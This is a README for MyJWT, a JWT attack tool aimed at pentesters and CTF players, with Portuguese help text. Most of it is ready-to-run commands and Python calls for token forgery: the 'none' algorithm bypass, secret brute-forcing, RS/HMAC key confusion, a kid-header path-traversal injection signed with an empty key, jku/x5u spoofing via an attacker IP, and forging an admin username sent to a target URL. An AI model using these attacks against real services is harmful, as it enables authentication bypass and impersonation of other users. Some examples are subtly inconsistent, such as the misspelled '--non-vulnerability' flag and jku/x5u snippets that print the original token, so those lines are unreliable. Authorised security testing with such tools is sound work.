pip install myjwt

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# montar volume para wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# No Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

pacman -S myjwt

$ myjwt --help
Uso: myjwt [OPÇÕES] JWT

  Esta cli é para pentesters, jogadores de CTF ou desenvolvedores.
  Você pode modificar seu jwt, assinar, injetar, etc...
  Documentação completa em http://myjwt.readthedocs.io.
  Se você encontrar problemas ou melhorias, envie uma issue. Responderei o mais rápido possível.
  Aproveite :)
  Todos os novos jwt serão copiados para a área de transferência.

Opções:
  --version                    Mostra a versão e sai.
  --full-payload TEXTO          Novo payload para seu jwt. Formato Json obrigatório.
  -h, --add-header TEXTO        Adiciona uma nova chave, valor ao cabeçalho do seu jwt; se a chave já existir, o valor antigo será substituído. Formato: chave=valor.
  -p, --add-payload TEXTO       Adiciona uma nova chave, valor ao payload do seu jwt; se a chave já existir, o valor antigo será substituído. Formato: chave=valor.
  --sign TEXTO                  Assine seu jwt com a chave fornecida.
  --verify TEXTO                Verifique sua chave.
  -none, --none-vulnerability   Verifica vulnerabilidade None Alg.
  --hmac CAMINHO                Verifica vulnerabilidade Alg RS/HMAC e assina seu jwt com chave pública.
  --bruteforce CAMINHO          Força bruta para adivinhar o segredo usado para assinar o token.
  -r, --crack TEXTO             regex para iterar todas as possibilidades de string para adivinhar o segredo usado para assinar o token.
  --kid TEXTO                   Injeção SQL Kid
  --jku TEXTO                   Cabeçalho Jku para contornar autenticação
  --x5u TEXTO                   Cabeçalho X5u para contornar autenticação
  --crt CAMINHO                 Para x5cHeader, forçar arquivo crt
  --key CAMINHO                 Para cabeçalhos jku ou x5c, forçar chave privada para seu arquivo de chave
  --file TEXTO                  Para cabeçalho jku, forçar nome do arquivo sem extensão .json
  --print                       Exibe JWT decodificado
  -u, --url URL                 URL para enviar seu jwt.
  -m, --method TEXTO            Método usado para enviar requisição para a URL. (Padrão GET).
  -d, --data TEXTO              Dados enviados para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo novo jwt.
  -c, --cookies TEXTO           Cookies para enviar para sua URL. Formato: chave=valor. Se valor = MY_JWT, o valor será substituído pelo novo jwt.
  --help                        Mostra esta mensagem de ajuda e sai.

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

myjwt YOUR_JWT --none-vulnerability

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

myjwt YOUR_JWT --sign YOUR_KEY

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

myjwt YOUR_JWT --bruteforce PATH

from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

myjwt YOUR_JWT --crack REGEX

myjwt YOUR_JWT --hmac FILE

from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

myjwt YOUR_JWT --kid INJECTION

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

myjwt YOUR_JWT --jku YOUR_URL

from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

myjwt YOUR_JWT --x5u YOUR_URL

from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)